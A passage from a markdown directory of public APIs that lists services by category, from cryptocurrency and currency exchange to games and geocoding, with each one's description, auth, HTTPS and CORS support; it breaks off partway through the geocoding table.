**[⬆ Back to Index](#index)** ### Cryptocurrency | API | Description | Auth | HTTPS | CORS | | :----------------------------------------------------------------------: | ------------------------------------------------------------------------------------- | :------: | :---: | :-----: | | [Binance](https://github.com/binance-exchange/binance-official-api-docs) | Exchange for Trading Cryptocurrencies based in China | `apiKey` | Yes | Unknown | | [BitcoinAverage](https://apiv2.bitcoinaverage.com/) | Digital Asset Price Data for the blockchain industry | `apiKey` | Yes | Unknown | | [BitcoinCharts](https://bitcoincharts.com/about/exchanges/) | Financial and Technical Data related to the Bitcoin Network | No | Yes | Unknown | | [Bitmex](https://www.bitmex.com/app/apiOverview) | Real-Time Cryptocurrency derivatives trading platform based in Hong Kong | `apiKey` | Yes | Unknown | | [Bithumb](https://apidocs.bithumb.com/) | Cryptocurrency Trading Platform | `apiKey` | Yes | Unknown | | [Block](https://www.block.io/docs/basic) | Bitcoin Payment, Wallet & Transaction Data | `apiKey` | Yes | Unknown | | [Blockchain](https://www.blockchain.info/api) | Bitcoin Payment, Wallet & Transaction Data | No | Yes | Unknown | | [BlockFacts](https://blockfacts.io/) | Real-time crypto data from multiple exchanges via a single unified API, and much more | `apiKey` | Yes | Unknown | | [CoinAPI](https://docs.coinapi.io/) | All Currency Exchanges integrate under a single api | `apiKey` | Yes | No | | [Coinbase](https://developers.coinbase.com) | Bitcoin, Bitcoin Cash, Litecoin and Ethereum Prices | `apiKey` | Yes | Unknown | | [Coinbase Pro](https://docs.pro.coinbase.com/#api) | Cryptocurrency Trading Platform | `apiKey` | Yes | Unknown | | [CoinDesk](http://www.coindesk.com/api/) | Bitcoin Price Index | No | No | Unknown | | [CoinGecko](http://www.coingecko.com/api) | Cryptocurrency Price, Market, and Developer/Social Data | No | Yes | Yes | | [Coinigy](https://coinigy.docs.apiary.io) | Interacting with Coinigy Accounts and Exchange Directly | `apiKey` | Yes | Unknown | | [CoinLayer](https://coinlayer.com) | Real-time Crypto Currency Exchange Rates | `apiKey` | Yes | Unknown | | [Coinlib](https://coinlib.io/apidocs) | Crypto Currency Prices | `apiKey` | Yes | Unknown | | [Coinlore](https://www.coinlore.com/cryptocurrency-data-api) | Cryptocurrencies prices, volume and more | No | Yes | Unknown | | [CoinMarketCap](https://coinmarketcap.com/api/) | Cryptocurrencies Prices | `apiKey` | Yes | Unknown | | [Coinpaprika](https://api.coinpaprika.com) | Cryptocurrencies prices, volume and more | No | Yes | Yes | | [CoinRanking](https://docs.coinranking.com/) | Live Cryptocurrency data | No | Yes | Unknown | | [Covalent](https://www.covalenthq.com/docs/api/) | Multi-blockchain data aggregator | Yes | Yes | Unknown | | [CryptoCompare](https://www.cryptocompare.com/api#) | Cryptocurrencies Comparison | No | Yes | Unknown | | [Cryptonator](https://www.cryptonator.com/api/) | Cryptocurrencies Exchange Rates | No | Yes | Unknown | | [CurrencyAPI](https://currencyapi.com) | Currency Conversion API | `apiKey` | Yes | Unknown | | [Gates.io](https://www.gate.io/api2) | Blockchain Assets Exchange | No | Yes | Unknown | | [Gemini](https://docs.gemini.com/rest-api/) | Cryptocurrencies Exchange | No | Yes | Unknown | | [MEXC Global](https://mxcdevelop.github.io/apidocs) | Crypto asset exchange for trading Marketplace | `apiKey` | Yes | Unknown | | [Nexchange](https://nexchange2.docs.apiary.io/) | Automated cryptocurrency exchange service | No | No | Yes | | [NiceHash](https://docs.nicehash.com/) | Largest Crypto Mining Marketplace | `apiKey` | Yes | Unknown | | [Poloniex](https://poloniex.com/support/api/) | US based digital asset exchange | `apiKey` | Yes | Unknown | | [WorldCoinIndex](https://www.worldcoinindex.com/apiservice) | Cryptocurrencies Prices | `apiKey` | Yes | Unknown | **[⬆ Back to Index](#index)** ### Currency Exchange | API | Description | Auth | HTTPS | CORS | | :----------------------------------------------------------------------------------------------------------: | ------------------------------------------------------------- | :------: | :---: | :-----: | | [1Forge](https://1forge.com/forex-data-api/api-documentation) | Forex currency market data | `apiKey` | Yes | Unknown | | [Currency (LabStack)](https://labstack.com/currency) | Convert one currency to another with reliable exchanges rates | `apiKey` | Yes | Yes | | [Currencylayer](https://currencylayer.com/documentation) | Exchange rates and currency conversion | `apiKey` | Yes | Unknown | | [Czech National Bank](https://www.cnb.cz/cs/financni_trhy/devizovy_trh/kurzy_devizoveho_trhu/denni_kurz.xml) | A collection of exchange rates | No | Yes | Unknown | | [ExchangeRate-API](https://www.exchangerate-api.com) | Free currency conversion | No | Yes | Yes | | [Exchangeratesapi.io](https://exchangeratesapi.io) | Exchange rates with currency conversion | No | Yes | Yes | | [Fixer.io](http://fixer.io) | Exchange rates and currency conversion | `apiKey` | Yes | Unknown | | [Frankfurter](https://www.frankfurter.app/docs) | Exchange rates, currency conversion and time series | No | Yes | Yes | | [ratesapi](https://ratesapi.io) | Free exchange rates and historical rates | No | Yes | Unknown | **[⬆ Back to Index](#index)** ### Data Validation | API | Description | Auth | HTTPS | CORS | | :-------------------------------------------------------------------------: | --------------------------------------------------------------------- | :------: | :---: | :-----: | | [Cloudmersive Validate](https://cloudmersive.com/validate-api) | Validate email addresses, phone numbers, VAT numbers and domain names | `apiKey` | Yes | Yes | | [Email (LabStack)](https://labstack.com/email) | Instant email address verification to filter legit addresses | `apiKey` | Yes | Yes | | [languagelayer](https://languagelayer.com) | Language detection | No | Yes | Unknown | | [Lob.com](https://lob.com/) | US Address Verification | `apiKey` | Yes | Unknown | | [mailboxlayer](https://mailboxlayer.com) | Email address validation | No | Yes | Unknown | | [NumValidate](https://numvalidate.com) | Open Source phone number validation | No | Yes | Unknown | | [numverify](https://numverify.com) | Phone number validation | No | Yes | Unknown | | [PurgoMalum](http://www.purgomalum.com) | Content validator against profanity & obscenity | No | No | Unknown | | [US Autocomplete](https://smartystreets.com/docs/cloud/us-autocomplete-api) | Enter address data quickly with real-time address suggestions | `apiKey` | Yes | Yes | | [US Extract](https://smartystreets.com/products/apis/us-extract-api) | Extract postal addresses from any text including emails | `apiKey` | Yes | Yes | | [US Street Address](https://smartystreets.com/docs/cloud/us-street-api) | Validate and append data for any US postal address | `apiKey` | Yes | Yes | | [vatlayer](https://vatlayer.com) | VAT number validation | No | Yes | Unknown | | [Veriphone](https://veriphone.io) | Phone number validation & carrier lookup | `apiKey` | Yes | Yes | | [Scraper.run](https://scraper.run) | Email address validation | No | Yes | Yes | **[⬆ Back to Index](#index)** ### Development | API | Description | Auth | HTTPS | CORS | | :-------------------------------------------------------------------------------------------------: | --------------------------------------------------------------------------------------------------- | :--------------: | :---: | :-----: | | [24 Pull Requests](https://24pullrequests.com/api) | Project to promote open source collaboration during December | No | Yes | No | | [Agify.io](https://agify.io) | Estimates the age from a first name | No | Yes | Yes | | [ApiFlash](https://apiflash.com/) | Chrome based screenshot API for developers | `apiKey` | Yes | Unknown | | [APIs.guru](https://apis.guru/api-doc/) | Wikipedia for Web APIs, OpenAPI/Swagger specs for public APIs | No | Yes | Unknown | | [BetterMeta](http://bettermeta.io) | Return a site's meta tags in JSON format | `X-Mashape-Key` | Yes | Unknown | | [Bored](https://www.boredapi.com/) | Find random activities to fight boredom | No | Yes | Unknown | | [Browshot](https://browshot.com/api/documentation) | Easily make screenshots of web pages in any screen size, as any device | `apiKey` | Yes | Unknown | | [CDNJS](https://api.cdnjs.com/libraries/jquery) | Library info on CDNJS | No | Yes | Unknown | | [Changelogs.md](https://changelogs.md) | Structured changelog metadata from open source projects | No | Yes | Unknown | | [CountAPI](https://countapi.xyz) | Free and simple counting service. You can use it to track page hits and specific events | No | Yes | Yes | | [DigitalOcean Status](https://status.digitalocean.com/api/v2) | Status of all DigitalOcean services | No | Yes | Unknown | | [Dynamic QR Code](https://rapidapi.com/updeploy-tools/api/qr-code-dynamic-and-static1/details) | Generate dynamic and static QR Codes | `X-RapidAPI-Key` | Yes | Yes | | [ExtendsClass](https://extendsclass.com/json-storage.html) | A simple JSON store API | No | Yes | Yes | | [Faceplusplus](https://www.faceplusplus.com/) | A tool to detect face | `OAuth` | Yes | Unknown | | [Form2Channel](https://form2channel.com/) | Send static html form submissions to Google Sheets, Email, Slack or Telegram | No | Yes | Yes | | [Genderize.io](https://genderize.io) | Estimates a gender from a first name | No | Yes | Yes | | [GitHub](https://developer.github.com/v3/) | Make use of GitHub repositories, code and user info programmatically | `OAuth` | Yes | Yes | | [Gitlab](https://docs.gitlab.com/ee/api/) | Automate GitLab interaction programmatically | `OAuth` | Yes | Unknown | | [Gitter](https://github.com/gitterHQ/docs) | Chat for GitHub | `OAuth` | Yes | Unknown | | [HTTP2.Pro](https://http2.pro/doc/api) | Test endpoints for client and server HTTP/2 protocol support | No | Yes | Unknown | | [IBM Text to Speech](https://console.bluemix.net/docs/services/text-to-speech/getting-started.html) | Convert text to speech | `apiKey` | Yes | Yes | | [Image-Charts](https://www.image-charts.com/) | Generate charts, QR codes and graph images | No | Yes | Yes | | [import.io](http://api.docs.import.io/) | Retrieve structured data from a website or RSS feed | `apiKey` | Yes | Unknown | | [IP2WHOIS Information Lookup](https://www.ip2whois.com) | WHOIS domain name lookup | `apiKey` | Yes | Unknown | | [ipapi.is](https://ipapi.is/developers.html) | Public IP Address API with company, ASN and hosting detection support | No | Yes | Yes | | [IPGEO](https://api.techniknews.net/ipgeo/[IP-Adress/Domain]) | Unlimited free IP Address API with useful information | No | Yes | Unknown | | [IPify](https://www.ipify.org/) | A simple IP Address API | No | Yes | Unknown | | [IPinfo](https://ipinfo.io/developers) | Another simple IP Address API | No | Yes | Unknown | | [jsDelivr](https://github.com/jsdelivr/data.jsdelivr.com) | Package info and download stats on jsDelivr CDN | No | Yes | Yes | | [JSON 2 JSONP](https://json2jsonp.com/) | Convert JSON to JSONP (on-the-fly) for easy cross-domain data requests using client-side JavaScript | No | Yes | Unknown | | [JSONbin.io](https://jsonbin.io) | Free JSON storage service. Ideal for small scale Web apps, Websites and Mobile apps | `apiKey` | Yes | Yes | | [Judge0](https://api.judge0.com/) | Compile and run source code | No | Yes | Unknown | | [Let's Validate](https://github.com/letsvalidate/api) | Uncovers the technologies used on websites and URL to thumbnail | No | Yes | Unknown | | [License-API](https://github.com/cmccandless/license-api/blob/master/README.md) | Unofficial REST API for choosealicense.com | No | Yes | No | | [LiveEdu](https://www.liveedu.tv/developer/applications/) | Live Coding Streaming | `OAuth` | Yes | Unknown | | [MAC address vendor lookup](https://macaddress.io) | Retrieve vendor details and other information regarding a given MAC address or an OUI | `apiKey` | Yes | Yes | | [Nationalize.io](https://nationalize.io) | Estimate the nationality of a first name | No | Yes | Yes | | [OOPSpam](https://oopspam.com/) | Multiple spam filtering service | No | Yes | Yes | | [Postman](https://docs.api.getpostman.com/) | Tool for testing APIs | `apiKey` | Yes | Unknown | | [ProxyCrawl](https://proxycrawl.com) | Scraping and crawling anticaptcha service | `apiKey` | Yes | Unknown | | [Public APIs](https://github.com/davemachado/public-api) | A collective list of free JSON APIs for use in web development | No | Yes | Unknown | | [Pusher Beams](https://pusher.com/beams) | Push notifications for Android & iOS | `apiKey` | Yes | Unknown | | [QR Code](https://fungenerators.com/api/qrcode/) | Create new QR Code or decode existing one | `apiKey` | Yes | Yes | | [QR code](http://qrtag.net/api/) | Create an easy to read QR code and URL shortener | No | Yes | Yes | | [QR code](http://goqr.me/api/) | Generate and decode / read QR code graphics | No | Yes | Unknown | | [QuickChart](https://quickchart.io/) | Generate chart and graph images | No | Yes | Yes | | [ReqRes](https://reqres.in/) | A hosted REST-API ready to respond to your AJAX requests | No | Yes | Unknown | | [ScraperApi](https://www.scraperapi.com) | Easily build scalable web scrapers | `apiKey` | Yes | Unknown | | [ScreenshotAPI.net](https://screenshotapi.net/) | Create pixel-perfect website screenshots | `apiKey` | Yes | Yes | | [Screenshots](https://screenshotson.click/) | Free capture a full screenshot of the website with high resolution and without watermarks | `apiKey` | Yes | Yes | | [Shadify](https://github.com/cheatsnake/shadify) | Service for generating data and executing logic to create various games and puzzles | No | Yes | Yes | | [SHOUTCLOUD](http://shoutcloud.io/) | ALL-CAPS AS A SERVICE | No | No | Unknown | | [StackExchange](https://api.stackexchange.com/) | Q&A forum for developers | `OAuth` | Yes | Unknown | | [Unixtime](https://unixtime.co.za/) | Convert Unixtime to DateTime and vice versa | No | Yes | Yes | | [XML to JSON](https://developers.wso2apistore.com/) | Integration developer utility APIs | No | Yes | Unknown | | [Image to Link](https://www.contentful.com/developers/docs/references/images-api/) | Generate link from image(Integration developer utility APIs) | No | Yes | YES | | [IPFinder](https://ipfinder.io/) | Geolocation API,ASN API,IP Ranges API,IP Firewall API,Domain API | Yes | Yes | Yes | | [Scraper.run](https://scraper.run/) | Geolocation API,lookup DNS & whois record of a domain | No | Yes | Yes | | [SearchApi](https://www.searchapi.io/) | Real-time search engines SERP API | `apiKey` | Yes | No | **[⬆ Back to Index](#index)** ### Dictionaries | API | Description | Auth | HTTPS | CORS | | :-------------------------------------------------: | --------------------------------------------------------------- | :------: | :---: | :-----: | | [Lingua Robot](https://www.linguarobot.io) | Word definitions, pronunciations, synonyms, antonyms and others | `apiKey` | Yes | Yes | | [Merriam-Webster](https://dictionaryapi.com/) | Dictionary and Thesaurus Data | `apiKey` | Yes | Unknown | | [OwlBot](https://owlbot.info/) | Definitions with example sentence and photo if available | `apiKey` | Yes | Yes | | [Oxford](https://developer.oxforddictionaries.com/) | Dictionary Data | `apiKey` | Yes | No | | [Wordnik](http://developer.wordnik.com) | Dictionary Data | `apiKey` | No | Unknown | | [Words](https://www.wordsapi.com/) | Definitions and synonyms for more than 150,000 words | `apiKey` | Yes | Unknown | **[⬆ Back to Index](#index)** ### Disasters | API | Description | Auth | HTTPS | CORS | | :-------------------------------------------------: | --------------------------------- | :------: | :---: | :-----: | | [USGS](https://earthquake.usgs.gov/fdsnws/event/1/) | Earthquake Data | `apiKey` | Yes | Unknown | | [RWLabs](https://apidoc.rwlabs.org/#api-use) | All types of disaster data | `apiKey` | Yes | Unknown | | [PredictHQ](https://developer.predicthq.com/) | Events and natural disasters data | oAuth | Yes | Unknown | **[⬆ Back to Index](#index)** ### Documents & Productivity | API | Description | Auth | HTTPS | CORS | | :-------------------------------------------------------------------------------: | -------------------------------------------------------------------------- | :------: | :---: | :-----: | | [Cloudmersive Document and Data Conversion](https://cloudmersive.com/convert-api) | HTML/URL to PDF/PNG, Office documents to PDF, image conversion | `apiKey` | Yes | Yes | | [Base](https://www.base-api.io/reference) | Authentication,Emails sending,File uploading and shearing, forms filluping | `apiKey` | Yes | Unknown | | [DynamicDocs](https://advicement.io) | Generate dynamic PDFs with JSON to PDF API based on LaTeX | `apiKey` | Yes | Unknown | | [File.io](https://www.file.io) | File Sharing | No | Yes | Unknown | | [Mercury](https://mercury.postlight.com/web-parser/) | Web parser | `apiKey` | Yes | Unknown | | [pdfEndpoint](https://pdfendpoint.com) | HTML or URL to PDF | `apiKey` | Yes | No | | [pdflayer](https://pdflayer.com) | HTML/URL to PDF | `apiKey` | Yes | Unknown | | [Pocket](https://getpocket.com/developer/) | Bookmarking service | `OAuth` | Yes | Unknown | | [PrexView](https://prexview.com) | Data from XML or JSON to PDF, HTML or Image | `apiKey` | Yes | Unknown | | [Restpack](https://restpack.io/) | Provides screenshot, HTML to PDF and content extraction APIs | `apiKey` | Yes | Unknown | | [Todoist](https://developer.todoist.com) | Todo Lists | `OAuth` | Yes | Unknown | | [Vector Express](http://vector.express) | Free vector file converting API | No | No | Yes | | [Vertopal](https://www.vertopal.com/en/developer/api) | Convert files using Vertopal API | `apiKey` | Yes | No | | [WakaTime](https://wakatime.com/developers) | Automated time tracking leaderboards for programmers | No | Yes | Unknown | | [Webpage (Labstack)](https://labstack.com/webpage) | High resolution, retina display and responsive screenshot | `apiKey` | Yes | Yes | **[⬆ Back to Index](#index)** ### Education | API | Description | Auth | HTTPS | CORS | | :-------------------------------------------------------------------------------: | -------------------------------------------------------------------------- | :------: | :---: | :-----: | | [Current Affairs](https://rapidapi.com/malaithiru370/api/current-affairs-of-india) | Current International Affairs, quizzes and more | `apiKey` | Yes | No | **[⬆ Back to Index](#index)** ### Environment | API | Description | Auth | HTTPS | CORS | | :----------------------------------------------------------------------------------------------------: | ------------------------------------------------------------------------------ | :------: | :---: | :-----: | | [AirVisual](https://airvisual.com/api) | Air quality and weather data | `apiKey` | Yes | Unknown | | [GrünstromIndex](https://www.corrently.de/hintergrund/gruenstromindex/index.html) | Green Power Index for Germany (Grünstromindex/GSI) | No | No | Yes | | [OpenAQ](https://docs.openaq.org/) | Open air quality data | `apiKey` | Yes | Unknown | | [AQICN](http://aqicn.org/api) | Real-time air quality index | `apiKey` | No | Unknown | | [PVWatts](https://developer.nrel.gov/docs/solar/pvwatts/v6/) | Energy production photovoltaic (PV) energy systems | `apiKey` | Yes | Unknown | | [UK Carbon Intensity](https://carbon-intensity.github.io/api-definitions/#carbon-intensity-api-v1-0-0) | The Official Carbon Intensity API for Great Britain developed by National Grid | No | Yes | Unknown | **[⬆ Back to Index](#index)** ### Events | API | Description | Auth | HTTPS | CORS | | :-----------------------------------------------------------------------------------------------------------------------------: | ------------------------------------- | :------: | :---: | :-----: | | [Eventbrite](https://www.eventbrite.com/developer/v3/) | Find events | `OAuth` | Yes | Unknown | | [Picatic](http://developer.picatic.com/?utm_medium=web&utm_source=github&utm_campaign=public-apis%20repo&utm_content=toddmotto) | Sell tickets anywhere | `apiKey` | Yes | Unknown | | [SeatGeek](https://platform.seatgeek.com/) | Search events, venues and performers | `apiKey` | Yes | Unknown | | [Ticketmaster](http://developer.ticketmaster.com/products-and-docs/apis/getting-started/) | Search events, attractions, or venues | `apiKey` | Yes | Unknown | **[⬆ Back to Index](#index)** ### Finance | API | Description | Auth | HTTPS | CORS | | :----------------------------------------------------------------------: | ------------------------------------------------------------- | :------: | :---: | :-----: | | [Alpha Vantage](https://www.alphavantage.co/) | Realtime and historical stock data | `apiKey` | Yes | Unknown | | [Barchart OnDemand](https://www.barchartondemand.com/free) | Stock, Futures and Forex Market Data | `apiKey` | Yes | Unknown | | [Financial Modeling Prep](https://financialmodelingprep.com/) | Stock information and data | No | Yes | Unknown | | [IEX](https://iextrading.com/developer/) | Realtime stock data | `apiKey` | Yes | Yes | | [IEX Cloud](https://iexcloud.io/) | Realtime & Historical Stock and Market Data | `apiKey` | Yes | Yes | | [IG](https://labs.ig.com/gettingstarted) | Spreadbetting and CFD Market Data | `apiKey` | Yes | Unknown | | [Plaid](https://plaid.com/) | Connect with users’ bank accounts and access transaction data | `apiKey` | Yes | Unknown | | [Razorpay IFSC](https://ifsc.razorpay.com/) | Indian Financial Systems Code (Bank Branch Codes) | No | Yes | Unknown | | [Indian Bank Data API](https://github.com/kaustubhk24/Indian-Banks-Data) | All Banks IFSC Code data,Search by IFSc or other details | No | Yes | Unknown | | [RoutingNumbers.info](https://www.routingnumbers.info/api/index.html) | ACH/NACHA Bank Routing Numbers | No | Yes | Unknown | | [Tradier](https://developer.tradier.com) | US equity/option market data (delayed, intraday, historical) | `OAuth` | Yes | Yes | | [World Trading Data](https://www.worldtradingdata.com/) | Market data provider | `apiKey` | Yes | Unknown | | [YNAB](https://api.youneedabudget.com/) | Budgeting & Planning | `OAuth` | Yes | Yes | **[⬆ Back to Index](#index)** ### Food & Drink | API | Description | Auth | HTTPS | CORS | | :------------------------------------------------------------------------------: | ------------------------------------------------- | :------: | :---: | :-----: | | [Edamam](https://developer.edamam.com/) | Recipe Search | `apiKey` | Yes | Unknown | | [LCBO](https://lcboapi.com/) | Alcohol | `apiKey` | Yes | Unknown | | [Open Brewery DB](https://www.openbrewerydb.org) | Breweries, Cideries and Craft Beer Bottle Shops | No | Yes | Yes | | [Open Food Facts](https://world.openfoodfacts.org/data) | Food Products Database | No | Yes | Unknown | | [PunkAPI](https://punkapi.com/) | Brewdog Beer Recipes | No | Yes | Unknown | | [Recipe Puppy](http://www.recipepuppy.com/about/api/) | Food | No | No | Unknown | | [Spoonacular](https://spoonacular.com/food-api) | Food and Recipes | `apikey` | Yes | Unknown | | [TacoFancy](https://github.com/evz/tacofancy-api) | Community-driven taco database | No | No | Unknown | | [The Report of the Week](https://github.com/andyklimczak/TheReportOfTheWeek-API) | Food & Drink Reviews | No | Yes | Unknown | | [TheCocktailDB](https://www.thecocktaildb.com/api.php) | Cocktail Recipes | `apiKey` | Yes | Yes | | [TheMealDB](https://www.themealdb.com/api.php) | Meal Recipes | `apiKey` | Yes | Yes | | [What's on the menu?](http://nypl.github.io/menus-api/) | NYPL human-transcribed historical menu collection | `apiKey` | No | Unknown | | [WhiskyHunter](https://whiskyhunter.net/api/) | Past online whisky auctions statistical data | No | Yes | Unknown | | [Zestful](https://zestfuldata.com/) | Parse recipe ingredients | `apiKey` | Yes | Yes | **[⬆ Back to Index](#index)** ### Fraud Prevention | API | Description | Auth | HTTPS | CORS | | :------------------------------------------------------------------------------------------: | --------------------------------------------------------------------- | :------: | :---: | :-----: | | [FraudLabs Pro](https://www.fraudlabspro.com/developer/api/screen-order) | Screen order information using AI to detect frauds | `apiKey` | Yes | Unknown | | [Whitepages Pro](https://pro.whitepages.com/developer/documentation/identity-check-api/) | Global identity verification with phone, address, email and IP | `apiKey` | Yes | Unknown | | [Whitepages Pro](https://pro.whitepages.com/developer/documentation/phone-reputation-api/) | Phone reputation to detect spammy phones | `apiKey` | Yes | Unknown | | [Whitepages Pro](https://pro.whitepages.com/developer/documentation/reverse-phone-api/) | Get an owner’s name, address, demographics based on the phone number | `apiKey` | Yes | Unknown | | [Whitepages Pro](https://pro.whitepages.com/developer/documentation/phone-intelligence-api/) | Phone number validation, line_type, carrier append | `apiKey` | Yes | Unknown | | [Whitepages Pro](https://pro.whitepages.com/developer/documentation/reverse-address-api/) | Get normalized physical address, residents, address type and validity | `apiKey` | Yes | Unknown | **[⬆ Back to Index](#index)** ### Games & Comics | API | Description | Auth | HTTPS | CORS | | :---------------------------------------------------------------: | ------------------------------------------------------------------------------------------------------------ | :-------------: | :---: | :-----: | | [AmiiboAPI](http://www.amiiboapi.com/) | Amiibo Information | No | No | Yes | | [Battle.net](https://dev.battle.net/) | Blizzard Entertainment | `apiKey` | Yes | Unknown | | [Blue Archive](https://github.com/arufars/api-blue-archive) | Blue Archive Game data API Characters | No | Yes | Unknown | | [Chuck Norris Database](http://www.icndb.com/api/) | Jokes | No | No | Unknown | | [Clash of Clans](https://developer.clashofclans.com) | Clash of Clans Game Information | `apiKey` | Yes | Unknown | | [Clash Royale](https://developer.clashroyale.com) | Clash Royale Game Information | `apiKey` | Yes | Unknown | | [Comic Vine](https://comicvine.gamespot.com/api/documentation) | Comics | No | Yes | Unknown | | [Deck of Cards](http://deckofcardsapi.com/) | Deck of Cards | No | No | Unknown | | [Destiny The Game](https://github.com/Bungie-net/api) | Bungie Platform API | `apiKey` | Yes | Unknown | | [Dota 2](https://docs.opendota.com/) | Provides information about Player stats , Match stats, Rankings for Dota 2 | No | Yes | Unknown | | [Dungeons and Dragons](http://www.dnd5eapi.co/) | Reference for 5th edition spells, classes, monsters, and more | No | No | No | | [Eve Online](https://esi.evetech.net/ui) | Third-Party Developer Documentation | `OAuth` | Yes | Unknown | | [Final Fantasy XIV](https://xivapi.com/) | Final Fantasy XIV Game data API | No | Yes | Yes | | [Fortnite](https://fortniteapi.com/) | Fortnite Stats & Cosmetics | `apiKey` | Yes | Yes | | [Fortnite](https://fortnitetracker.com/site-api) | Fortnite Stats | `apiKey` | Yes | Unknown | | [Forza](https://docs.forza-api.tk) | Random images of Forza cars | No | Yes | Unknown | | [Giant Bomb](https://www.giantbomb.com/api/documentation) | Video Games | No | Yes | Unknown | | [Guild Wars 2](https://wiki.guildwars2.com/wiki/API:Main) | Guild Wars 2 Game Information | `apiKey` | Yes | Unknown | | [Halo](https://developer.haloapi.com/) | Halo 5 and Halo Wars 2 Information | `apiKey` | Yes | Unknown | | [Hearthstone](http://hearthstoneapi.com/) | Hearthstone Cards Information | `X-Mashape-Key` | Yes | Unknown | | [Hypixel](https://api.hypixel.net/) | Hypixel player stats | `apiKey` | Yes | Unknown | | [IGDB.com](https://api.igdb.com/) | Video Game Database | `apiKey` | Yes | Unknown | | [Jokes One](https://jokes.one/api/joke/) | Joke of the day and large category of jokes accessible via REST API | `apiKey` | Yes | Yes | | [JokeAPI](https://sv443.net/jokeapi/v2/) | Programming, Miscellaneous and Dark Jokes | No | Yes | Yes | | [Jokes](https://github.com/15Dkatz/official_joke_api) | Programming and general jokes | No | Yes | Unknown | | [Jservice](http://jservice.io) | Jeopardy Question Database | No | No | Unknown | | [Magic The Gathering](http://magicthegathering.io/) | Magic The Gathering Game Information | No | No | Unknown | | [Marvel](http://developer.marvel.com) | Marvel Comics | `apiKey` | No | Unknown | | [mod.io](https://docs.mod.io) | Cross Platform Mod API | `apiKey` | Yes | Unknown | | [Open Trivia](https://opentdb.com/api_config.php) | Trivia Questions | No | Yes | Unknown | | [PandaScore](https://api.pandascore.co) | E-sports games and results | `apiKey` | Yes | Unknown | | [PlayerUnknown's Battlegrounds](https://pubgtracker.com/site-api) | PUBG Stats | `apiKey` | Yes | Unknown | | [Pokéapi](https://pokeapi.co) | Pokémon Information | No | Yes | Unknown | | [Pokémon TCG](https://pokemontcg.io) | Pokémon TCG Information | No | Yes | Unknown | | [Random Facts](https://fungenerators.com/api/facts/) | Random Facts from hundreds of categories | `apiKey` | Yes | Yes | | [Rick and Morty](https://rickandmortyapi.com) | All the Rick and Morty information, including images | No | Yes | Yes | | [Riot Games](https://developer.riotgames.com/) | League of Legends Game Information | `apiKey` | Yes | Unknown | | [Scoresaber](https://scoresaber.com/api/documentation) | Scoresaber Stats | No | Yes | Unknown | | [Scryfall](https://scryfall.com/docs/api) | Magic: The Gathering database | No | Yes | Yes | | [Steam](https://developer.valvesoftware.com/wiki/Steam_Web_API) | Steam Client Interaction | `OAuth` | Yes | Unknown | | [SuperHeroes](https://superheroapi.com) | All SuperHeroes and Villains data from all universes under a single API | `apiKey` | Yes | Unknown | | [TCGdex](https://www.tcgdex.dev/) | A Multilanguage Pokémon TCG Database with Cards Pictures and most of the informations contained on the cards | No | Yes | Yes | | [Tronald Dump](https://www.tronalddump.io/) | The dumbest things Donald Trump has ever said | No | Yes | Unknown | | [Wargaming.net](https://developers.wargaming.net/) | Wargaming.net info and stats | `apiKey` | Yes | No | | [xkcd](https://xkcd.com/json.html) | Retrieve xkcd comics as JSON | No | Yes | No | **[⬆ Back to Index](#index)** ### Geocoding | API | Description | Auth | HTTPS | CORS | | :--------------------------------------------------------------------------------------------------------------------: | --------------------------------------------------------------------------------------------------- | :------------: | :---: | :-----: | | [administrative-divisons-db](https://github.com/kamikazechaser/administrative-divisions-db) | Get all administrative divisions of a country | No | Yes | Yes | | [adresse.data.gouv.fr](https://adresse.data.gouv.fr) | Address database of France, geocoding and reverse | No | Yes | Unknown | | [Battuta](http://battuta.medunes.net) | A (country/region/city) in-cascade location API | `apiKey` | No | Unknown | | [Bing Maps](https://www.microsoft.com/maps/) | Create/customize digital maps based on Bing Maps data | `apiKey` | Yes | Unknown | | [bng2latlong](https://www.getthedata.com/bng2latlong) | Convert British OSGB36 easting and northing (British National Grid) to WGS84 latitude and longitude | No | Yes | Yes | | [CitySDK](http://www.citysdk.eu/citysdk-toolkit/) | Open APIs for select European cities | No | Yes | Unknown | | [Country](http://country.is/) | Get your visitors' country from their IP | No | Yes | Yes | | [Daum Maps](http://apis.map.daum.net/) | Daum Maps provide multiple APIs for Korean maps | `apiKey` | No | Unknown | | [FreeGeoIP](https://freegeoip.app/) | Free geo ip information, no registration required. 15k/hour rate limit | No | Yes | Yes | | [GeoApi](https://api.gouv.fr/api/geoapi.html) | French geographical data | No | Yes | Unknown | | [Geocod.io](https://www.geocod.io/) | Address geocoding / reverse geocoding in bulk | `apiKey` | Yes | Unknown | | [Geocode.xyz](https://geocode.xyz/) | Provides worldwide forward/reverse geocoding, batch geocoding and geoparsing | No | Yes | Unknown | | [Geocodify.com](https://geocodify.com/) | Enterprise-grade geocoding and geoparsing | `apiKey` | Yes | Yes | | [GeoDataSource](https://www.geodatasource.com/web-service) | Geocoding of city name by using latitude and longitude coordinates | `apiKey` | Yes | Unknown | | [GeoJS](https://geojs.io/) | IP geolocation with ChatOps integration | No | Yes | Yes | | [Geokeo](https://geokeo.com/) | Forward and Reverse Geocoding with 2500 free daily limit | `apikey` | Yes | Yes | | [geoPlugin](https://www.geoplugin.com) | IP geolocation and currency conversion | No | Yes | Yes | | [Google Earth Engine](https://developers.google.com/earth-engine/) | A cloud-based platform for planetary-scale environmental data analysis | `apiKey` | Yes | Unknown | | [Google Maps](https://developers.google.com/maps/) | Create/customize digital maps based on Google Maps data | `apiKey` | Yes | Unknown | | [HelloSalut](https://www.fourtonfish.com/hellosalut/hello/) | Get hello translation following user language | No | Yes | Unknown | | [HERE Maps](https://developer.here.com) | Create/customize digital maps based on HERE Maps data | `apiKey` | Yes | Unknown | | [Indian Cities](https://indian-cities-api-nocbegfhqg.now.sh/) | Get all Indian cities in a clean JSON Format | No | Yes | Yes | | [IP 2 Country](https://ip2country.info) | Map an IP to a country | No | Yes | Unknown | | [IP Address Details](https://ipinfo.io/) | Find geolocation with ip address | No | Yes | Unknown | | [IP (LabStack)](http://labstack.com/ip) | Lookup country, region, city, time-zone, currency and language of an IP | `apiKey` | Yes | Yes | | [IP Location](http://ip-api.com/) | Find location with ip address | No | No | Unknown | | [IP Location](https://ipapi.co/) | Find IP address location information | No | Yes | Unknown | | [IP Sidekick](https://ipsidekick.com) | Geolocation API that returns extra information about an IP address | `apiKey` | Yes | Unknown | | [IP Vigilante](https://www.ipvigilante.com/) | Free IP Geolocation API | No | Yes | Unknown | | [IP2Location](https://www.ip2location.com/web-service/ip2location) | IP geolocation web service to get more than 55 parameters | `apiKey` | Yes | Unknown | | 